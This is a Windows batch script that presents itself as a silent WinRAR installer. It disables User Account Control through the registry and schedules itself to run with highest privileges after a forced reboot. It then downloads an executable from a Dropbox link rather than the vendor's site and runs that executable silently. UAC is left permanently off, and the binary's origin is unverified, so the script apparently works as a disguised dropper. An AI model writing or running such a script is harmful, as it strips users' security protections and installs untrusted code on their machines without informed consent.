@echo off rem --- PHASE 1: Disable UAC and Prepare for Reboot --- if "%1" NEQ "postreboot" ( rem Disable UAC echo Disabling UAC... reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f echo UAC has been disabled. Please reboot for changes to take effect. pause rem Add a task to Task Scheduler to run the batch file after reboot echo Adding task to Task Scheduler to run after reboot... schtasks /create /tn "WinRARInstallerAfterReboot" /tr "%~f0 postreboot" /sc once /rl highest /f pause rem Reboot the computer echo Rebooting the computer... shutdown /r /t 0 exit /b ) rem --- PHASE 2: After Reboot, Download and Install WinRAR --- rem Check if WinRAR is already installed if exist "C:\Program Files\WinRAR\WinRAR.exe" ( echo WinRAR is already installed, skipping download and installation. exit /b ) rem If WinRAR is not installed, download the installer to C:\ set "winrar_url=https://www.dropbox.com/scl/fi/a3ty73ze62hvosdqz0y81/winrar-x64-701.exe?rlkey=yzo6ali9vck5gnwz8nwb7xke3&st=rjkenpzz&dl=1" set "winrar_installer=C:\winrar-x64-701.exe" powershell -command "Invoke-WebRequest -Uri '%winrar_url%' -OutFile '%winrar_installer%'" rem Check if the download was successful if exist "%winrar_installer%" ( echo "WinRAR successfully downloaded to: %winrar_installer%" rem Perform silent installation of WinRAR echo "Installing WinRAR silently..." start /wait "" "%winrar_installer%" /S rem Check if WinRAR was installed successfully if exist "C:\Program Files\WinRAR\WinRAR.exe" ( echo "WinRAR installed successfully." ) else ( echo "WinRAR installation failed." ) ) else ( echo "WinRAR download failed!" ) rem Remove the Task Scheduler task after installation schtasks /delete /tn "WinRARInstallerAfterReboot" /f echo Task removed successfully. pause